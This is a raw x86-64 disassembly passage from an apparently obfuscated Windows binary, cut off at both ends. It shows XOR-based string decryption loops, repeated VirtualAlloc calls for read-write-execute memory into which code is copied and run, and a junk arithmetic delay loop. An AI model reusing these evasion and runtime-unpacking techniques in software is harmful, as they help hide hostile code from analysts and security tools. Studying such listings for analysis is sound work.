movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x140241f50
cmp r9d, 0x36
jge 0x140242142
movsxd rax, r9d
lea r10, [rsp + 0x438]
add r10, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x36
jl 0x1402420f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x2f0], xmm0
mov qword [rsp + 0x300], rdi
mov qword [rsp + 0x308], rdi
lea rax, [rsp + 0x438]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140242170
lea rdx, [rsp + 0x438]
lea rcx, [rsp + 0x2f0]
call fcn.14021c020
lea rcx, [rsp + 0x2f0]
call fcn.14020f4d0
lea rbx, [0x14021e790]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa48]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140299a20]
lea r12, [0x14024e7e0]
test rax, rax
je 0x14024221d
mov rdx, rdi
cmp rax, r12
je 0x14024220c
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x299a20]
test rax, rax
jne 0x1402421f4
jmp 0x14024221d
mov rdx, qword [rsi + rdx*8 + 0x29b9c0]
test rdx, rdx
jne 0x1402422ff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140242246
mov rdx, rdi
jmp 0x1402422de
mov rax, r12
mov rcx, rdx
mov r8, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140242250
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14029a6e8]
mov qword [rsi + rax*8 + 0x299a20], r12
mov qword [rsi + rax*8 + 0x29b9c0], rdx
inc rax
mov qword [0x14029a6e8], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb40], rax
lea rcx, [rsp + 0xaa48]
mov qword [rcx], rax
lea rbx, [0x1402162b0]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa48]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140299a20]
test rax, rax
je 0x14024239a
mov rdx, rdi
cmp rax, r12
je 0x140242389
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x299a20]
test rax, rax
jne 0x140242371
jmp 0x14024239a
mov rdx, qword [rsi + rdx*8 + 0x29b9c0]
test rdx, rdx
jne 0x14024247f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x1402423c3
mov rdx, rdi
jmp 0x14024245e
mov rax, r12
mov rcx, rdx
mov r8, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x1402423d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14029a6e8]
mov qword [rsi + rax*8 + 0x299a20], r12
mov qword [rsi + rax*8 + 0x29b9c0], rdx
inc rax
mov qword [0x14029a6e8], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb40], rax
lea rcx, [rsp + 0xaa48]
mov qword [rcx], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x8284], 0xffffffff
mov dword [rsp + 0x6f04], eax
mov edx, 1
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x6f04], eax
inc rdx
cmp rdx, 0x270
jb 0x1402424c0
mov dword [rsp + 0x6f00], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x50]
call fcn.140201b40
mov r14, qword [rsp + 0x50]
add r14, 0x5f5e100
mov r15d, 1
nop dword [rax]
lea rcx, [rsp + 0x800]
call fcn.140201b40
cmp qword [rax], r14
jge 0x140242699
mov qword [rsp + 0x50], 0x186a0
nop
lea rcx, [rsp + 0x6f00]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14024256b
nop dword [rax + rax]
lea rcx, [rsp + 0x6f00]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140242550
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r15d
lea rcx, [rsp + 0x6f00]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1402425bb
nop word [rax + rax]
lea rcx, [rsp + 0x6f00]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402425a0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x6f00]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14024260b
nop
lea rcx, [rsp + 0x6f00]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402425f0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x6f00]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14024265b
nop
lea rcx, [rsp + 0x6f00]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140242640
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x50], r15
jne 0x140242530
jmp 0x140242510
mov eax, dword [rsp + 0x40]
lea rbx, [0x140209be0]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa48]
movabs r14, 0xff00ff00ff00ff00
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140299a20]
test rax, rax
mov r15, 0xffffffffffffffff
je 0x140242729
mov rdx, rdi
nop
cmp rax, r12
je 0x140242718
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x299a20]
test rax, rax
jne 0x140242700
jmp 0x140242729
mov rdx, qword [rsi + rdx*8 + 0x29b9c0]
test rdx, rdx
jne 0x14024280f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140242752
mov rdx, rdi
jmp 0x1402427ee
mov rax, r12
mov rcx, rdx
mov r8, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140242760
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14029a6e8]
mov qword [rsi + rax*8 + 0x299a20], r12
mov qword [rsi + rax*8 + 0x29b9c0], rdx
inc rax
mov qword [0x14029a6e8], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb40], rax
lea rcx, [rsp + 0xaa48]
mov qword [rcx], rax
movups xmm0, xmmword [0x140281818]
movups xmmword [rsp + 0x3d0], xmm0
movups xmm1, xmmword [0x140281828]
movups xmmword [rsp + 0x3e0], xmm1
movsd xmm0, qword [0x140281838]
movsd qword [rsp + 0x3f0], xmm0
mov eax, dword [0x140281840]
mov dword [rsp + 0x3f8], eax
mov r9d, edi
cmp dword [0x140294090], 2
jl 0x140242a1d
movdqa xmmword [rsp + 0x50], xmm9
lea rcx, [rsp + 0x3d4]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x140242890
cmp r9d, 0x2c
jge 0x140242a82
movsxd rax, r9d
lea r10, [rsp + 0x3d0]
add r10, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2c
jl 0x140242a30
xorps xmm0, xmm0
movups xmmword [rsp + 0x310], xmm0
mov qword [rsp + 0x320], rdi
mov qword [rsp + 0x328], rdi
lea rax, [rsp + 0x3d0]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140242ab0
lea rdx, [rsp + 0x3d0]
lea rcx, [rsp + 0x310]
call fcn.14021c020
lea rcx, [rsp + 0x310]
call fcn.14020f4d0
lea rbx, [0x140203530]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa48]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140299a20]
test rax, rax
je 0x140242b59
mov rdx, rdi
nop dword [rax]
cmp rax, r12
je 0x140242b48
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x299a20]
test rax, rax
jne 0x140242b30
jmp 0x140242b59
mov rdx, qword [rsi + rdx*8 + 0x29b9c0]
test rdx, rdx
jne 0x140242c3f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140242b82
mov rdx, rdi
jmp 0x140242c1e
mov rax, r12
mov rcx, rdx
mov r8, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140242b90
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14029a6e8]
mov qword [rsi + rax*8 + 0x299a20], r12
mov qword [rsi + rax*8 + 0x29b9c0], rdx
inc rax
mov qword [0x14029a6e8], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb40], rax
lea rcx, [rsp + 0xaa48]
mov qword [rcx], rax
call fcn.140226670
cmp qword [0x1402973f0], 5
jae 0x140242f7e
movsd xmm0, qword [0x140280e78]
movsd qword [rsp + 0xb0], xmm0
mov ecx, dword [0x140280e80]
mov dword [rsp + 0xb8], ecx
movzx eax, word [0x140280e84]
mov word [rsp + 0xbc], ax
cmp byte [0x140280e85], 0
je 0x140242f52
mov r9d, edi
cmp dword [0x140294090], 2
jl 0x140242ef1
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
movdqa xmm1, xmm10
punpckhdq xmm1, xmm10
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm10
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm10
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm9
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140280e78]
xorps xmm2, xmm0
movd dword [rsp + 0xb0], xmm2
movdqa xmm4, xmmword [0x140284280]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xb4]
xorps xmm2, xmm1
movd dword [rsp + 0xb4], xmm2
movdqa xmm4, xmmword [0x1402842a0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0xb8], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0xb0]
add r10, rax
nop
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x140242f00
lea rax, [rsp + 0xb0]
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140242f60
lea rdx, [rsp + 0xb0]
lea rcx, [0x1402973e0]
call fcn.14024c500
lea rcx, [rsp + 0xa50]
call fcn.140225a90
mov rdx, rax
lea rcx, [0x140297168]
call fcn.14024a9e0
lea rcx, [rsp + 0xa50]
call fcn.14024c260
lea rbx, [0x140211440]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa48]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140299a20]
test rax, rax
je 0x140243021
mov rdx, rdi
cmp rax, r12
je 0x140243010
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x299a20]
test rax, rax
jne 0x140242ff8
jmp 0x140243021
mov rdx, qword [rsi + rdx*8 + 0x29b9c0]
test rdx, rdx
jne 0x14024310f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14024304a
mov rdx, rdi
jmp 0x1402430ee
mov rax, r12
mov rcx, rdx
mov r8, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140243060
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14029a6e8]
mov qword [rsi + rax*8 + 0x299a20], r12
mov qword [rsi + rax*8 + 0x29b9c0], rdx
inc rax
mov qword [0x14029a6e8], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb40], rax
lea rcx, [rsp + 0xaa48]
mov qword [rcx], rax
movups xmm0, xmmword [0x140282d20]
movups xmmword [rsp + 0x640], xmm0
movups xmm1, xmmword [0x140282d30]
movups xmmword [rsp + 0x650], xmm1
movups xmm0, xmmword [0x140282d40]
movups xmmword [rsp + 0x660], xmm0
movups xmm1, xmmword [0x140282d50]
movups xmmword [rsp + 0x670], xmm1
movsd xmm0, qword [0x140282d60]
movsd qword [rsp + 0x680], xmm0
mov eax, dword [0x140282d68]
mov dword [rsp + 0x688], eax
movzx eax, word [0x140282d6c]
mov word [rsp + 0x68c], ax
movzx eax, byte [0x140282d6e]
mov byte [rsp + 0x68e], al
mov r9d, edi
mov ebx, dword [0x140294090]
cmp ebx, 2
jl 0x14024335d
movdqa xmmword [rsp + 0x50], xmm9
lea rcx, [rsp + 0x644]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
